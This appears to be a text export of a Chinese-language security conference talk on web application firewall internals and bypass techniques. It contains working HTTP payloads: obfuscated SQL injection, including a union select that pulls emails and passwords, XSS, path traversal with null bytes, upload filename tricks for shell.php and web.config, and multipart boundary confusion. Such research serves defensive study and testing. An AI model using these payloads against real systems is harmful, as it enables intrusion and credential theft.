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   那一天， 
  駭客又想起了 

被 WAF 支配的恐懼

那一
駭客又

支

那一
駭客又

支

那一
駭客又

支
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Payload Delivery / Security Layer



WAF

IP Limit

RDP

SMB

SSH

SQL Injection

XSS

Path Traversal

File Upload

Web Server DB Server

WAFPacket filter

Payload
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HTTP Request 101



DE  COREHTTP Request 101？

Request Line

POST /query HTTP/1.1
Host: devco.re
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-
urlencoded
Content-Length: (auto)

id=1&class=member

POST /query HTTP/1.1



DE  COREHTTP Request 101？

Request Line、Headers

POST /query HTTP/1.1
Host: devco.re
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-
urlencoded
Content-Length: (auto)

id=1&class=member

POST /query HTTP/1.1
Host: devco.re
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-
urlencoded
Content-Length: (auto)



DE  COREHTTP Request 101？

POST /query HTTP/1.1
Host: devco.re
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-
urlencoded
Content-Length: (auto)

id=1&class=member

Request Line、Headers、Empty Line

POST /query HTTP/1.1
Host: devco.re
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-
urlencoded
Content-Length: (auto)
█████████████████████████████████████████
id=1&class=member



DE  COREHTTP Request 101？

Request Line、Headers、Empty Line、Message Body

POST /query HTTP/1.1
Host: devco.re
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-
urlencoded
Content-Length: (auto)
█████████████████████████████
id=1&class=member

POST /query HTTP/1.1
Host: devco.re
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-
urlencoded
Content-Length: (auto)
█████████████████████████████
id=1&class=member



POST /query HTTP/1.1
Host: devco.re
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundarysNcHQhF5wOWC2lZ5;
Content-Length: (auto)

------WebKitFormBoundarysNcHQhF5wOWC2lZ5
Content-Disposition: form-data; name="id";

1
------WebKitFormBoundarysNcHQhF5wOWC2lZ5
Content-Disposition: form-data; name="class";

member
------WebKitFormBoundarysNcHQhF5wOWC2lZ5--

這是轉成 multipart 格式的封包



POST /query HTTP/1.1
Host: devco.re
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=x;
Content-Length: (auto)

--x
Content-Disposition: form-data; name="id";

1
--x
Content-Disposition: form-data; name="class";

member
--x--

boundary 可以簡化
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 WAF 處理流程



SQL Injection

XSS

Path Traversal

File Upload

Web Server DB Server

WAF

Payload
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請求進入

WAF 處理流程
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請求進入 預處理

WAF 處理流程
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請求進入

...
...

...
...

http/s 封包判別

預處理

WAF 處理流程
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請求進入

...
...

...
...

http/s 封包判別

預處理 解析

WAF 處理流程
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請求進入

...
...

...
...

...
...

...
...

http/s 封包判別 封包結構 
編/解碼 

 Boundary 
Chunk 

...

預處理 解析

WAF 處理流程



DE  COREWAF 解析封包

• 定位風險發生條件



DE  COREWAF 解析封包

• 定位風險發生條件 

• ".aspx" 出現在哪裡最可疑

POST /download.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x
Content-Length: (auto)
Referer: http://devco.re/index.aspx

--x
Content-Disposition: form-data; name="file"

download.aspx
--x--



DE  CORE

• 定位風險發生條件 

• ".aspx" 出現在哪裡最可疑

POST /download.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x
Content-Length: (auto)
Referer: http://devco.re/index.aspx

--x
Content-Disposition: form-data; name="file"

download.aspx
--x--

WAF 解析封包
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• 定位風險發生條件 

• ".aspx" 出現在哪裡最可疑

POST /download.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x
Content-Length: (auto)
Referer: http://devco.re/index.aspx

--x
Content-Disposition: form-data; name="file"

download.aspx
--x--

合理的吧

WAF 解析封包



DE  COREWAF 解析封包

• 定位風險發生條件 

• ".aspx" 出現在哪裡最可疑

POST /download.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x
Content-Length: (auto)
Referer: http://devco.re/index.aspx

--x
Content-Disposition: form-data; name="file"

download.aspx
--x--

合理的吧

合理的吧
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• 定位風險發生條件 

• ".aspx" 出現在哪裡最可疑

POST /download.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x
Content-Length: (auto)
Referer: http://devco.re/index.aspx

--x
Content-Disposition: form-data; name="file"

download.aspx
--x--

合理的吧

合理的吧

suspicious👿

WAF 解析封包



DE  COREWAF 處理流程

請求進入

...
...

...
...

...
...

...
...

http/s 封包判別 封包結構 
編/解碼 

 Boundary 
Chunk 

...

預處理 解析 稽核輸入
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WAF 稽核、種類



DE  COREWAF 種類 - 偵測機制

• 關鍵字 / RegEx 例如：/union.*select/i

阻擋：id='union select 1,2,3#



DE  COREWAF 種類 - 偵測機制

• 關鍵字 / RegEx 

• Rate Limit 例如：網站檔案目錄掃描



DE  COREWAF 種類 - 偵測機制

• 關鍵字 / RegEx 

• Rate Limit 

• 大小限制



DE  COREWAF 種類 - 偵測機制

• 關鍵字 / RegEx 

• Rate Limit 

• 大小限制 

• 地理限制



DE  COREWAF 種類 - 偵測機制

• 關鍵字 / RegEx 

• Rate Limit 

• 大小限制 

• 地理限制 

• Machine Learning



DE  COREWAF 種類 - 阻擋手段

• 封鎖 IP 位址



DE  COREWAF 種類 - 阻擋手段

• 封鎖 IP 位址 

• 回首頁



DE  COREWAF 種類 - 阻擋手段

• 封鎖 IP 位址 

• 回首頁 

• 顯示阻擋頁面



DE  COREWAF 處理流程

請求進入

...
...

...
...

...
...

...
...

http/s 封包判別 封包結構 
編/解碼 

 Boundary 
Chunk 

...

預處理 解析 稽核輸入 轉送後端
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夢回 2009 繞 WAF
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POST /item HTTP/1.1
Host: devco.re
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded;
Content-Length: (auto)

id=1' and 1=1#

2009 案例 I

DEMO MySQL 空白 SQL Injection



DE  CORE

POST /item HTTP/1.1
Host: devco.re
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded;
Content-Length: (auto)

id=1'/**/and/**/1/**/=/**/1#

DEMO

關鍵字、RegEx 阻擋有缺

MySQL 空白 SQL Injection

2009 案例 I
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POST /message.php HTTP/1.1
Host: devco.re
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-
urlencoded;
Content-Length: 33

content=<img src=1 error=alert()>

2009 案例 II

PHP URL Encoding XSSDEMO
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POST /message.php HTTP/1.1
Host: devco.re
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-
urlencoded;
Content-Length: 872

content=%25%32%35%25%33%33%25%36%33%25%32%35%
25%33%36%25%33%39%25%32%35%25%33%36%25%36%34%
25%32%35.........％33%32%25%33%39%25%32%35%25
%33%33%25%36%35

2009 案例 II

PHP URL Encoding XSSDEMO

關鍵字、RegEx 阻擋有缺 
、 

後端⾏為超出 WAF 理解
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POST /item HTTP/1.1
Host: devco.re
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-
urlencoded;
Content-Length: 13

id=1' and 1=1#

2009 案例 III

MySQL 刪除 Header SQL InjectionDEMO



DE  CORE

POST /item HTTP/1.1
Host: devco.re
User-Agent: Mozilla/5.0
 Content-Type: application/x-www-form-
urlencoded /;
Content-Length: 13

id=1' and 1=1#

2009 案例 III

WAF 規則條件缺陷

MySQL 刪除 Header SQL Injection if 
is_POST  

&& 
Content-Type === "application/x-www-form-urlencoded"

DEMO
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繞過技巧



DE  CORE繞過技巧 

• 語言特性 

• 作業系統、網頁伺服器特性 

• 前後端解析不一致 

• 其他 (參數過多、長度過長、找真實 IP 地址等等)



DE  CORE語言特性 - MySQL 

POST /query HTTP/1.1 
Host: devco.re 
Content-Type: application/x-www-form-urlencoded 
Content-Length: (auto) 

q=' union select * from users -- 



DE  CORE語言特性 - MySQL 

POST /query HTTP/1.1 
Host: devco.re 
Content-Type: application/x-www-form-urlencoded 
Content-Length: (auto) 

q=' union select * from users -- 



DE  CORE語言特性 - MySQL 

POST /query HTTP/1.1 
Host: devco.re 
Content-Type: application/x-www-form-urlencoded 
Content-Length: (auto) 

q=' union select * from users -- 

'/**/union/**/select/**/*/**/from/**/users-- 

' UnIo
N SeLe

Ct * F
rOm `u

sers`-
-

'union table us
ers-- 

'  union(select*from(users))--

\t

'union/*!select
**/from`users`-

-



DE  CORE作業系統、網頁伺服器特性

POST /upload HTTP/1.1 
Host: devco.re 
Content-Type: multipart/form-data; boundary=x 
Content-Length: (auto) 

--x 
Content-Disposition: form-data; name="file"; filename="shell.php" 

DEVCORE 
--x--



DE  CORE作業系統、網頁伺服器特性

POST /upload HTTP/1.1 
Host: devco.re 
Content-Type: multipart/form-data; boundary=x 
Content-Length: (auto) 

--x 
Content-Disposition: form-data; name="file"; filename="shell.php" 

DEVCORE 
--x--
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POST /upload HTTP/1.1 
Host: devco.re 
Content-Type: multipart/form-data; boundary=x 
Content-Length: (auto) 

--x 
Content-Disposition: form-data; name="file"; filename="shell.php" 

DEVCORE 
--x--

作業系統、網頁伺服器特性

shell.PhP

shell.pht

filename*=utf7''shell.php

filena
me="sh

ell.ph
p "

shell.php.

shell.php::
$DATA

filename="=?utf8?b?c2hlbGwucGhw?="



DE  CORECDN WAF - 找真實 IP 位址

CDN / WAF Original Server

OSINT IP Address

 (Tools：CloudFlair、cdn-scanner...)

IP：1.1.1.1 IP：203.0.113.231

User

Hacker
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實戰案例



DE  CORE實戰案例說明

• 收錄為近兩年內紅隊經典案例 

• 案例的規模大 

• 涵蓋多個可再現技巧 

• 適用度高



DE  COREWAF 處理流程

請求進入

...
...

...
...

...
...

...
...

http/s 封包判別 封包結構 
編/解碼 

 Boundary 
Chunk 

...

預處理 解析 稽核輸入 轉送後端

後端 請求進入



DE  COREWAF 處理流程

請求進入

...
...

...
...

...
...

...
...

預處理 解析 稽核輸入 轉送後端

後端 請求進入 解析

http/s 封包判別 封包結構 
編/解碼 

 Boundary 
Chunk 

...



DE  COREWAF 處理流程

請求進入

...
...

...
...

...
...

...
...

預處理 解析 稽核輸入 轉送後端

後端 請求進入 解析 處理請求

http/s 封包判別 封包結構 
編/解碼 

 Boundary 
Chunk 

...



DE  COREWAF 處理流程

請求進入

...
...

...
...

...
...

...
...

預處理 解析 稽核輸入 轉送後端

後端 請求進入 解析 處理請求

http/s 封包判別 封包結構 
編/解碼 

 Boundary 
Chunk 

...



SQL Injection

XSS

Path Traversal

File Upload

Web Server DB Server

WAF

Payload
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繞過案例（一）



DE  CORE繞過案例（一）

• 任意檔案讀取



POST /download.php HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x
Content-Length: (auto)

--x
Content-Disposition: form-data; name="path";

upload/
--x
Content-Disposition: form-data; name="file";

s101.pdf
--x--



POST /download.php HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x
Content-Length: (auto)

--x
Content-Disposition: form-data; name="path";

upload/
--x
Content-Disposition: form-data; name="file";

s101.pdf
--x--

200 ok 



POST /download.php HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x
Content-Length: (auto)

--x
Content-Disposition: form-data; name="path";

upload/
--x
Content-Disposition: form-data; name="file";

s101.pdf
--x--



POST /download.php HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x
Content-Length: (auto)

--x
Content-Disposition: form-data; name="path";

./upload/
--x
Content-Disposition: form-data; name="file";

s101.pdf
--x--

200 ok 

簡單路徑前加 ./ 測試



POST /download.php HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x
Content-Length: (auto)

--x
Content-Disposition: form-data; name="path";

./upload/../upload/
--x
Content-Disposition: form-data; name="file";

s101.pdf
--x--

403 被 WAF 阻擋

直接 ../ 測試同路徑



POST /download.php HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x
Content-Length: (auto)

--x
Content-Disposition: form-data; name="path";

./upload/
--x
Content-Disposition: form-data; name="file";

s101.pdf
--x--
/../

200 ok 

Boundary 外面加黑名單關鍵字



POST /download.php HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x
Content-Length: (auto)

--x
Content-Disposition: form-data; name="path";

./upload/../upload/
--x
Content-Disposition: form-data; name="file";

s101.pdf
--x--

200 ok 

boundary mutation

\0

\0



POST /download.php HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x
Content-Length: (auto)

--x
Content-Disposition: form-data; name="path";

../download.php
--x
Content-Disposition: form-data; name="file";

--x--

\0

200 can't be .php

嘗試跳層讀 php

\0



null byte 截斷老招

200 ok 

\0

\0

\0

POST /download.php HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x
Content-Length: (auto)

--x
Content-Disposition: form-data; name="path";

../download.php
--x
Content-Disposition: form-data; name="file";

--x--

POST /download.php HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x
Content-Length: (auto)

--x
Content-Disposition: form-data; name="path";

../download.php
--x
Content-Disposition: form-data; name="file";

--x--

Success

boundary mutation 

null byte

調 查 結 算

任意檔案讀取



DE  CORE

繞過案例（二）



DE  CORE繞過案例（二）

• SQL Injection



POST /action HTTP/1.1
Host: devco.re
Content-Type: application/x-www-form-urlencoded
Content-Length: (auto)

action=search&query=DEVCORE

200 ok 且正確查詢



POST /action HTTP/1.1
Host: devco.re
Content-Type: application/x-www-form-urlencoded
Content-Length: (auto)

action=search&query=DEVCORE



POST /action HTTP/1.1
Host: devco.re
Content-Type: application/x-www-form-urlencoded
Content-Length: (auto)

action=search&query=DEVCORE' 500 Internal Server Error



POST /action HTTP/1.1
Host: devco.re
Content-Type: application/x-www-form-urlencoded
Content-Length: (auto)

action=search&query=DEVCORE'' 200 ok 查無結果



POST /action HTTP/1.1
Host: devco.re
Content-Type: application/x-www-form-urlencoded
Content-Length: (auto)

action=search&query=DEVCORE'||' 200 ok 且正確查詢



POST /action HTTP/1.1
Host: devco.re
Content-Type: application/x-www-form-urlencoded
Content-Length: (auto)

action=search&query=DEVCORE'||' 200 ok 且正確查詢

Vulnerable



POST /action HTTP/1.1
Host: devco.re
Content-Type: application/x-www-form-urlencoded
Content-Length: (auto)

action=search&query=DEVCORE' order by 1 --

403 被 WAF 阻擋



403 被 WAF 阻擋 

POST /action HTTP/1.1
Host: devco.re
Content-Type: application/x-www-form-urlencoded
Content-Length: (auto)

action=search&query=DEVCORE'or



POST /action HTTP/1.1
Host: devco.re
Content-Type: application/x-www-form-urlencoded
Content-Length: (auto)

action=search&query=DEVCORE'or 403 被 WAF 阻擋 
推測：/'.*(or|select|--..)/



POST /action HTTP/1.1
Host: devco.re
Content-Type: application/x-www-form-urlencoded
Content-Length: (auto)

action=search&query=DEVCORE&xx'orxx 403 被 WAF 阻擋 



POST /action HTTP/1.1
Host: devco.re
Content-Type: application/x-www-form-urlencoded
Content-Length: (auto)

action=search&query=DEVCORE&xx'&orxx 200 ok 且正確查詢



POST /action HTTP/1.1
Host: devco.re
Content-Type: application/x-www-form-urlencoded
Foo: xx'orxx
Content-Length: (auto)

action=search&query=DEVCORE 200 ok 且正確查詢



POST /action HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x
Content-Length: (auto)

--x
Content-Disposition: form-data; name="action"

search
--x
Content-Disposition: form-data; name="query"

DEVCORE
--x-- 200 ok 且正確查詢



POST /action HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x
Content-Length: (auto)

--x
Content-Disposition: form-data; name="action"

search
--x
Content-Disposition: form-data; name="query"

DEVCORE
--x-- 200 ok 且正確查詢



POST /action HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x
Content-Length: (auto)

--x
Content-Disposition: form-data; name="action"

search
--x
Content-Disposition: form-data; name="query"

DEVCORE'or
--x--

403 被 WAF 阻擋

加上關鍵字



POST /action HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x
Content-Length: (auto)

--x
Content-Disposition: form-data; name="action"

search
--x
Content-Disposition: form-data; name="query"; filename="x.jpg"

DEVCORE'or
--x--

403 被 WAF 阻擋

嘗試 file type



POST /action HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x
Content-Length: (auto)

--x
Content-Disposition: form-data; name="action"

search
--x
Content-Disposition: form-data; name="query"; 'or

DEVCORE
--x--

403 被 WAF 阻擋

丟 header 參數外



POST /action HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x
Content-Length: (auto)

--x
Content-Disposition: form-data; name="action"

search
--x
Content-Disposition: form-data; name="query"

DEVCORE
--x--
aaa 403 被 WAF 阻擋

嘗試 boundary 外塞垃圾



POST /action HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x
Content-Length: (auto)

--x
Content-Disposition: form-data; name="action"

search
--x
Content-Disposition: form-data; name="query"
Content-Type: image/jpeg

DEVCORE
--x--

200 ok 且正確查詢

嘗試加入 Content-Type 



POST /action HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x
Content-Length: (auto)

--x
Content-Disposition: form-data; name="action"

search
--x
Content-Disposition: form-data; name="query"
Content-Type: image/jpeg'or

DEVCORE
--x-- [!] 200 ok 且正確查詢

在 Content-Type 加入 關鍵字



POST /action HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x
Content-Length: (auto)

--x
Content-Disposition: form-data; name="action"

search
--x
Content-Disposition: form-data; name="query"
Content-Type: image/jpeg'or

DEVCORE
--x-- [!] 200 ok 且正確查詢



POST /action HTTP/1.1
Host: devco.re
Content-Type: application/x-www-form-urlencoded; multipart/
form-data; boundary=x
Content-Length: (auto)

--x
Content-Disposition: form-data; name="action"

search
--x
Content-Disposition: form-data; name="query"
Content-Type: image/jpeg'or

DEVCORE
--x--

[!] 200 ok 查無資料



POST /action HTTP/1.1
Host: devco.re
Content-Type: application/x-www-form-urlencoded; multipart/
form-data; boundary=x
Content-Length: (auto)

--x
Content-Disposition: form-data; name="action"

search
--x
Content-Disposition: form-data; name="query"
Content-Type: image/jpeg&action=search&query=DEVCORE

DEVCORE
--x-- 200 ok 且正確查詢

WAF 認為這是 form header



POST /action HTTP/1.1
Host: devco.re
Content-Type: application/x-www-form-urlencoded; multipart/
form-data; boundary=x
Content-Length: (auto)

--x
Content-Disposition: form-data; name="action"

search
--x
Content-Disposition: form-data; name="query"
Content-Type: image/jpeg&action=search&query=DEVCORE

DEVCORE
--x-- 200 ok 且正確查詢

後端認為是 query strings



POST /action HTTP/1.1
Host: devco.re
Content-Type: application/x-www-form-urlencoded; multipart/
form-data; boundary=x
Content-Length: (auto)

--x
Content-Disposition: form-data; name="action"

search
--x
Content-Disposition: form-data; name="query"
Content-Type: image/jpeg&action=search&query=DEVCORE'or

DEVCORE
--x-- 500 Internal Server Error

加上 'or 會噴錯

後端認為是 query strings



POST /action HTTP/1.1
Host: devco.re
Content-Type: application/x-www-form-urlencoded; multipart/
form-data; boundary=x
Content-Length: (auto)

--x
Content-Disposition: form-data; name="action"

search
--x
Content-Disposition: form-data; name="query"
Content-Type: image/jpeg&action=search&query=DEVCORE' union 
select null, null, email, passwd from users -- 

DEVCORE
--x--

200 ok 成功注入

後端認為是 query strings



POST /action HTTP/1.1
Host: devco.re
Content-Type: application/x-www-form-urlencoded; multipart/
form-data; boundary=x
Content-Length: (auto)

--x
Content-Disposition: form-data; name="action"

search
--x
Content-Disposition: form-data; name="query"
Content-Type: image/jpeg&action=search&query=DEVCORE' union 
select null, null, email, passwd from users -- 

DEVCORE
--x--

200 ok 成功注入

後端認為是 query strings

Success

Content-Type confusion

調 查 結 算

SQL Injection



DE  CORE

繞過案例（三）



DE  CORE繞過案例 （三）

• 任意檔案上傳 (web.config、ASPX Web Shell)



> type C:\inetpub\wwwroot\uploads\web.config

<?xml version="1.0"?>
<configuration>
   <system.webServer>
      <security> 
         <requestFiltering allowDoubleEscaping="true" /> 
      </security>
      <handlers accessPolicy="Read" />
   </system.webServer>
</configuration>

已知上傳路徑不可執行 aspx



POST /upload.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x;
Content-Length: (auto)

--x
Content-Disposition: form-data; name="file"; filename="1.txt";
Content-Type: text/plain

DEVCORE
--x--

200 ok 

可從 web 讀取到上傳的 1.txt



POST /does_not_exist HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x;
Content-Length: (auto)

--x
Content-Disposition: form-data; name="file"; filename="web.config";
Content-Type: text/plain

DEVCORE
--x--

403 被 WAF 阻擋

找個不存在的路徑，避免真的上傳成功覆蓋到

嘗試關鍵字



POST /does_not_exist HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x;
Content-Length: (auto)

--x
Content-Disposition: form-data; name="file"; filename="Xweb.config";
Content-Type: text/plain

DEVCORE
--x--

釐清關鍵字阻擋條件，前面加 x

403 被 WAF 阻擋



POST /does_not_exist HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x;
Content-Length: (auto)

--x
Content-Disposition: form-data; name="file"; filename="Xweb.configX";
Content-Type: text/plain

DEVCORE
--x--

釐清關鍵字阻擋條件，後面加 x

403 被 WAF 阻擋



POST /does_not_exist HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x;
Content-Length: (auto)

--x
Content-Disposition: form-data; name="file"; filename="Xweb. configX";
Content-Type: text/plain

DEVCORE
--x-- 404 有過

釐清關鍵字阻擋條件，中間加空格



POST /does_not_exist HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x;
Content-Length: (auto)

--x
Content-Disposition: form-data; name="file"; filename="XX"; web.config
Content-Type: text/plain

DEVCORE
--x-- 404 有過

把關鍵字丟到參數外面



POST /does_not_exist HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x;
Content-Length: (auto)

--x
Content-Disposition: form-data; name="file"; filename="XX";
Content-Type: text/plain web.config

DEVCORE
--x-- 404 有過

把關鍵字丟在別的 header 



POST /does_not_exist HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x;
Content-Length: (auto)

--x
Content-Disposition: form-data; name="file"; filename="XX";
Content-Type: text/plain

DEVweb.configCORE
--x--

403 被 WAF 阻擋

把關鍵字丟在 Form content



POST /does_not_exist HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x;
Content-Length: (auto)

--x
Content-Disposition: form-data; name="file"; filename="XX";
Content-Type: text/plain

DEVCORE
--x--
web.config

403 被 WAF 阻擋

把關鍵字丟在 boundary 外面



POST /does_not_exist HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x;
Content-Length: (auto)

--x
Content-Disposition: form-data; name="file"; filename="XX";
Content-Type: text/plain

DEVCORE
--x--
foo

403 被 WAF 阻擋

測試 boundary 外面寫垃圾



POST /echo.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x;
Content-Length: (auto)

--x
Content-Disposition: form-data; name="msg"
Content-Type: text/plain

1
--x-- 200 ok 

網頁輸出：1

找個有回顯的頁面測試



POST /echo.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x; boundary=y;
Content-Length: (auto)

--x
Content-Disposition: form-data; name="msg"
Content-Type: text/plain

1
--x--

403 被 WAF 阻擋

上兩個 boundary



POST /echo.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; BOUNDARY=x; boundary=y;
Content-Length: (auto)

--x
Content-Disposition: form-data; name="msg"
Content-Type: text/plain

1
--x--

把前面的 boundary 改成大寫

403 被 WAF 阻擋



POST /echo.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x; BOUNDARY=y;
Content-Length: (auto)

--x
Content-Disposition: form-data; name="msg"
Content-Type: text/plain

1
--x--

200 ok  ！！ 

網頁輸出：1

把後面的 boundary 改成大寫



POST /echo.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; BOUNDARY=y; boundary=x;
Content-Length: (auto)

--x
Content-Disposition: form-data; name="msg"
Content-Type: text/plain

1
--x--

把前面的改成大寫=y，後面小寫=x

500 Internal server error



要不要寫成表格？

部分畫面 
僅公布於研討會



BOUNDARY=x, boundary=y
--x
--x--

boundary=x, BOUNDARY=y
--x
--x--

BOUNDARY=y, boundary=x
--x
--x--

200

500

403
WAF Backend

能認大寫
BOUNDARY

不認大寫
BOUNDARY

認第一個
boundary

認最後的
boundary



BOUNDARY=x, boundary=y
--x
--x--

boundary=x, BOUNDARY=y
--x
--x--

BOUNDARY=y, boundary=x
--x
--x--

WAF Backend

能認大寫
BOUNDARY

不認大寫
BOUNDARY

認第一個
boundary

認最後的
boundary

200

500

403



BOUNDARY=x, boundary=y
--x
--x--

boundary=x, BOUNDARY=y
--x
--x--

BOUNDARY=y, boundary=x
--x
--x--

WAF Backend

能認大寫
BOUNDARY

不認大寫
BOUNDARY

認第一個
boundary

認最後的
boundary

200

500

403



BOUNDARY=x, boundary=y
--x
--x--

boundary=x, BOUNDARY=y
--x
--x--

BOUNDARY=y, boundary=x
--x
--x--

WAF Backend

能認大寫
BOUNDARY

不認大寫
BOUNDARY

認第一個
boundary

認最後的
boundary

200

500

403



BOUNDARY=x, boundary=y
--x
--x--

boundary=x, BOUNDARY=y
--x
--x--

BOUNDARY=y, boundary=x
--x
--x--

WAF Backend

能認大寫
BOUNDARY

不認大寫
BOUNDARY

認第一個
boundary

認最後的
boundary

200

500

403



BOUNDARY=x, boundary=y
--x
--x--

boundary=x, BOUNDARY=y
--x
--x--

BOUNDARY=y, boundary=x
--x
--x--

WAF Backend

能認大寫
BOUNDARY

不認大寫
BOUNDARY

認第一個
boundary

認最後的
boundary

200

500

403



BOUNDARY=x, boundary=y
--x
--x--

boundary=x, BOUNDARY=y
--x
--x--

BOUNDARY=y, boundary=x
--x
--x--

WAF Backend

能認大寫
BOUNDARY

不認大寫
BOUNDARY

認第一個
boundary

認最後的
boundary

200

500

403



POST /echo.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; BOUNDARY=y; boundary=x;
Content-Length: (auto)

--x
Content-Disposition: form-data; name="test"
Content-Type: text/plain

--y
Content-Disposition: form-data; name="msg"
Content-Type: text/plain

1
--y--
--x--

200 ok 

網頁輸出：1



POST /echo.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; BOUNDARY=y; boundary=x;
Content-Length: (auto)

--x
Content-Disposition: form-data; name="test"
Content-Type: text/plain

--y
Content-Disposition: form-data; name="msg"
Content-Type: text/plain

1
--y--
--x--

200 ok 

網頁輸出：1

後端吃前面 = y   WAF 吃小寫 = x

WAF 吃 x



POST /echo.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; BOUNDARY=y; boundary=x;
Content-Length: (auto)

--x
Content-Disposition: form-data; name="test"
Content-Type: text/plain

--y
Content-Disposition: form-data; name="msg"
Content-Type: text/plain

1
--y--
--x--

200 ok 

網頁輸出：1

後端吃前面 = y   WAF 吃小寫 = x

WAF 吃 x

WAF 把 --y 區塊 當 Content 了



POST /echo.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; BOUNDARY=y; boundary=x;
Content-Length: (auto)

--x
Content-Disposition: form-data; name="test"
Content-Type: text/plain

--y
Content-Disposition: form-data; name="msg"
Content-Type: text/plain

1
--y--
--x--

後端吃 y

200 ok 

網頁輸出：1

後端吃前面 = y   WAF 吃小寫 = x



POST /echo.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; BOUNDARY=y; boundary=x;
Content-Length: (auto)

--x
Content-Disposition: form-data; name="test"
Content-Type: text/plain

--y
Content-Disposition: form-data; name="msg"
Content-Type: text/plain

1
--y--
--x--

後端吃 y

200 ok 

網頁輸出：1

後端吃前面 = y   WAF 吃小寫 = x

後端可以接受外面有垃圾



BOUNDARY=x, boundary=y
--x
--x--

boundary=x, BOUNDARY=y
--x
--x--

BOUNDARY=y, boundary=x
--x
--x--

WAF Backend

能認大寫
BOUNDARY

不認大寫
BOUNDARY

認第一個
boundary

認最後的
boundary

200

500

403



POST /echo.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; BOUNDARY=y; boundary=x;
Content-Length: (auto)

--x
Content-Disposition: form-data; name="msg"
Content-Type: text/plain

--y
Content-Disposition: form-data; name="msg"; filename="web.config";
Content-Type: text/plain

1
--y--
--x--

403 被 WAF 阻擋

關鍵字在 content 本來就會阻擋



POST /upload.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x;
Content-Length: (auto)

--x
Content-Disposition: form-data; name="file"; filename="1.txt";
Content-Type: text/plain

DEVCORE
--x-- 200 ok 

成功上傳 1.txt



POST /upload.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x;
Content-Length: (auto)

--x
Content-Disposition: form-data; name="file"; x=filename="1.txt";
Content-Type: text/plain

DEVCORE
--x-- 200 ok 

成功上傳 1.txt

前面加個 x=



POST /upload.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x;
Content-Length: (auto)

--x
Content-Disposition: form-data; name="file"; x=filename="1.txt";web.config
Content-Type: text/plain

DEVCORE
--x-- 200 ok 

成功上傳 1.txt

嘗試關鍵字加在外面



POST /upload.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x;
Content-Length: (auto)

--x
Content-Disposition: form-data; name="file"; x=filename="1;/../web.config"
Content-Type: text/plain

DEVCORE
--x--

兩者組合



POST /upload.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x;
Content-Length: (auto)

--x
Content-Disposition: form-data; name="file"; x=filename="1;/../web.config"
Content-Type: text/plain

DEVCORE
--x--

WAF 看到



POST /upload.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x;
Content-Length: (auto)

